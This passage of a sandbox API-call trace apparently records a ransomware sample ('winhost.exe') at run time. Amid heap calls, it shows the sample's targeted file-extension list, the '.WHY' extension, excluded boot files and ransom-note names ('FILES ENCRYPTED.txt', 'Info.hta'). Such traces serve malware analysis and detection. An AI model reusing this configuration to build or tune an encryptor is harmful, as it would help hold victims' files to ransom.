(HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50c788 [0055.205] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c7a0 [0055.205] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c7b8 [0055.205] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c7d0 [0055.205] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50c7e8 [0055.205] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c800 [0055.205] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c818 [0055.205] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c830 [0055.205] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa000 [0055.206] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c848 [0055.206] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50c860 [0055.206] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c878 [0055.206] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c890 [0055.206] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c8a8 [0055.206] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c8c0 [0055.206] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x50c8d8 [0055.206] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c8f0 [0055.206] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c908 [0055.206] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c920 [0055.206] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c938 [0055.206] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c950 [0055.206] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c968 [0055.206] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c980 [0055.207] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c998 [0055.207] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa010 [0055.207] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c9d8 [0055.207] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c9f0 [0055.207] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ca08 [0055.207] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ca20 [0055.207] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ca38 [0055.207] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ca50 [0055.207] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ca68 [0055.207] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ca80 [0055.207] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ca98 [0055.207] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x50cab0 [0055.207] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cac8 [0055.208] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x50cae0 [0055.208] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50caf8 [0055.208] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cb10 [0055.208] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cb28 [0055.208] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cb40 [0055.208] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cb58 [0055.208] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50cb70 [0055.208] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cb88 [0055.208] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cba0 [0055.208] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cbb8 [0055.208] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cbd0 [0055.208] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cbe8 [0055.208] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cc00 [0055.208] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cc18 [0055.209] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cc30 [0055.209] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cc48 [0055.209] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cc60 [0055.209] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cc78 [0055.209] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cc90 [0055.209] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cca8 [0055.209] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ccc0 [0055.209] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ccd8 [0055.209] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ccf0 [0055.209] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cd08 [0055.209] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x50cd20 [0055.209] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x12) returned 0x4f5f08 [0055.209] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cd38 [0055.209] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cd50 [0055.210] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cd68 [0055.210] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cd80 [0055.210] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cd98 [0055.210] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cdd8 [0055.210] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cdf0 [0055.210] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ce08 [0055.210] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ce20 [0055.210] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ce38 [0055.210] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ce50 [0055.210] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ce68 [0055.210] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ce80 [0055.210] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ce98 [0055.210] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ceb0 [0055.210] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cec8 [0055.211] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cee0 [0055.211] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cef8 [0055.211] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cf10 [0055.212] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cf28 [0055.212] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50cf40 [0055.212] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50cf58 [0055.212] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50cf70 [0055.212] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x50cf88 [0055.212] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50cfa0 [0055.212] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa020 [0055.212] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cfb8 [0055.212] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa030 [0055.212] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cfd0 [0055.212] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50cfe8 [0055.212] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50d000 [0055.212] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50d018 [0055.212] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50d030 [0055.213] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50d048 [0055.213] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50d060 [0055.213] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50d078 [0055.213] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50d090 [0055.213] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50d0a8 [0055.213] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50d0c0 [0055.213] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50d0d8 [0055.213] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50d0f0 [0055.213] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50d108 [0055.213] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa040 [0055.213] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50d120 [0055.213] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50d138 [0055.213] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f91a0, Size=0x800) returned 0x50d5c0 [0055.214] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0055.214] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50b5b8 | out: hHeap=0x4c0000) returned 1 [0055.214] lstrlenW (lpString="") returned 0 [0055.214] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50df00 | out: hHeap=0x4c0000) returned 1 [0055.214] lstrlenW (lpString=".WHY") returned 4 [0055.214] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4758, Size=0x8) returned 0x4d4758 [0055.214] lstrlenW (lpString=".WHY") returned 4 [0055.215] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50df00 | out: hHeap=0x4c0000) returned 1 [0055.215] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50df30, Size=0x20) returned 0x4d4378 [0055.215] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4378, Size=0x40) returned 0x4f6a88 [0055.215] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f6a88, Size=0x80) returned 0x51b5c0 [0055.215] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa0b0, Size=0x8) returned 0x4fa0c0 [0055.215] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa0c0, Size=0x10) returned 0x50df30 [0055.215] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50df30, Size=0x20) returned 0x4d4350 [0055.215] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0055.215] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51b5c0 | out: hHeap=0x4c0000) returned 1 [0055.215] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50df60, Size=0x20) returned 0x4f5938 [0055.215] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f5938, Size=0x40) returned 0x4f6a88 [0055.216] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0055.216] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0055.216] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f6a88 | out: hHeap=0x4c0000) returned 1 [0055.216] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50df60, Size=0x20) returned 0x4f5938 [0055.216] lstrlenW (lpString="Info.hta") returned 8 [0055.216] lstrlenW (lpString="Info.hta") returned 8 [0055.216] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f5938 | out: hHeap=0x4c0000) returned 1 [0055.216] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x52d5b0, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe")) returned 0x31 [0055.216] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x52d5b0 | out: hHeap=0x4c0000) returned 1 [0055.216] lstrlenW (lpString="winhost.exe") returned 11 [0055.216] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4350, Size=0x40) returned 0x4f6a88 [0055.216] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50df60, Size=0x20) returned 0x4d4350 [0055.218] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50df60, Size=0x20) returned 0x4f5938 [0055.218] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f5938, Size=0x40) returned 0x4f6ad0 [0055.218] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f6ad0, Size=0x80) returned 0x51b5c0 [0055.218] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x51b5c0, Size=0x100) returned 0x4fa3b8 [0055.218] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0055.218] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4fa3b8 | out: hHeap=0x4c0000) returned 1 [0055.218] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x52d5b0, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0055.218] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x53d5b8 | out: hHeap=0x4c0000) returned 1 [0055.218] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x52d5b0 | out: hHeap=0x4c0000) returned 1 [0055.218] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa0c0, Size=0x8) returned 0x4fa0b0 [0055.218] lstrlenW (lpString="%windir%;") returned 9 [0055.218] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d4350 | out: hHeap=0x4c0000) returned 1 [0055.219] lstrlenW (lpString="C:\\Windows;") returned 11 [0055.219] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51d5a8 | out: hHeap=0x4c0000) returned 1 [0055.219] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50df78, Size=0x20) returned 0x4d4350 [0055.219] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4350, Size=0x40) returned 0x4f6ad0 [0055.219] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f6ad0, Size=0x80) returned 0x51b5c0 [0055.219] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x51b5c0, Size=0x100) returned 0x4fa3b8 [0055.219] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa0f0, Size=0x8) returned 0x4fa100 [0055.219] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa100, Size=0x10) returned 0x50dfc0 [0055.219] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50dfc0, Size=0x20) returned 0x4d4350 [0055.219] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa0c0, Size=0x8) returned 0x4fa100 [0055.219] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa0d0, Size=0x8) returned 0x4fa0c0 [0055.219] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa0f0, Size=0x8) returned 0x4fa110 [0055.219] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa110, Size=0x10) returned 0x50e068 [0055.219] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50e068, Size=0x20) returned 0x4f5938 [0055.220] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa100, Size=0x10) returned 0x50e068 [0055.220] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa0c0, Size=0x10) returned 0x50e098 [0055.220] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa100, Size=0x8) returned 0x4fa0f0 [0055.220] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa120, Size=0x8) returned 0x4fa130 [0055.220] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50e068, Size=0x20) returned 0x4f58e8 [0055.220] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50e098, Size=0x20) returned 0x4f5848 [0055.220] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa140, Size=0x8) returned 0x4fa150 [0055.220] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0055.220] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4fa3b8 | out: hHeap=0x4c0000) returned 1 [0055.220] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50e110, Size=0x20) returned 0x4f5960 [0055.220] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x51d5a8, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0055.220] lstrlenW (lpString="C:\\") returned 3 [0055.221] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0055.222] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51d5a8 | out: hHeap=0x4c0000) returned 1 [0055.222] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa180, Size=0x82) returned 0x50ba48 [0055.222] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa1a0, Size=0x100) returned 0x50bad8 [0055.222] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50ba48, Size=0x104) returned 0x50bd00 [0055.222] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50bad8, Size=0x200) returned 0x50be10 [0055.224] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4fa190 | out: hHeap=0x4c0000) returned 1 [0055.224] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50be10 | out: hHeap=0x4c0000) returned 1 [0055.224] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50b660 | out: hHeap=0x4c0000) returned 1 [0055.224] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51b758 | out: hHeap=0x4c0000) returned 1 [0055.224] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50e170 | out: hHeap=0x4c0000) returned 1 [0055.224] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51b7e0 | out: hHeap=0x4c0000) returned 1 [0055.224] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50e1a0 | out: hHeap=0x4c0000) returned 1 [0055.224] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50bd00 | out: hHeap=0x4c0000) returned 1 [0055.224] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50e188 | out: hHeap=0x4c0000) returned 1 [0055.224] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50bbe0 | out: hHeap=0x4c0000) returned 1 [0055.224] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50b678 | out: hHeap=0x4c0000) returned 1 [0055.224] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50bc70 | out: hHeap=0x4c0000) returned 1 [0055.225] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50b690 | out: hHeap=0x4c0000) returned 1 [0055.225] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50e188, Size=0x20) returned 0x4f5988 [0055.225] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f5988, Size=0x40) returned 0x4f6ad0 [0055.225] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4fa160 | out: hHeap=0x4c0000) returned 1 [0055.225] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50e110 | out: hHeap=0x4c0000) returned 1 [0055.225] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50b5b8 | out: hHeap=0x4c0000) returned 1 [0055.225] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50e140 | out: hHeap=0x4c0000) returned 1 [0055.225] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51b6d0 | out: hHeap=0x4c0000) returned 1 [0055.225] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50e128 | out: hHeap=0x4c0000) returned 1 [0055.225] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4fa170 | out: hHeap=0x4c0000) returned 1 [0055.225] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50e158 | out: hHeap=0x4c0000) returned 1 [0055.225] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4fa490 | out: hHeap=0x4c0000) returned 1 [0055.225] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f6008 | out: hHeap=0x4c0000) returned 1 [0055.225] lstrlenW (lpString="%systemdrive%") returned 13 [0055.226] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f5960 | out: hHeap=0x4c0000) returned 1 [0055.226] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51b5c0 | out: hHeap=0x4c0000) returned 1 [0055.226] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4fa140 | out: hHeap=0x4c0000) returned 1 [0055.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x4fb598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c [0056.920] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10014) returned 0x52d5b0 [0056.921] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x50b660 [0056.921] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50b660, Size=0x20) returned 0x4f5b68 [0056.921] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f5b68, Size=0x40) returned 0x4f6d10 [0056.921] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f6d10, Size=0x80) returned 0x51b5c0 [0056.921] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x51b5c0, Size=0x100) returned 0x5101e8 [0056.921] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x5101e8, Size=0x200) returned 0x514460 [0056.922] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x514460, Size=0x400) returned 0x514460 [0056.922] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, 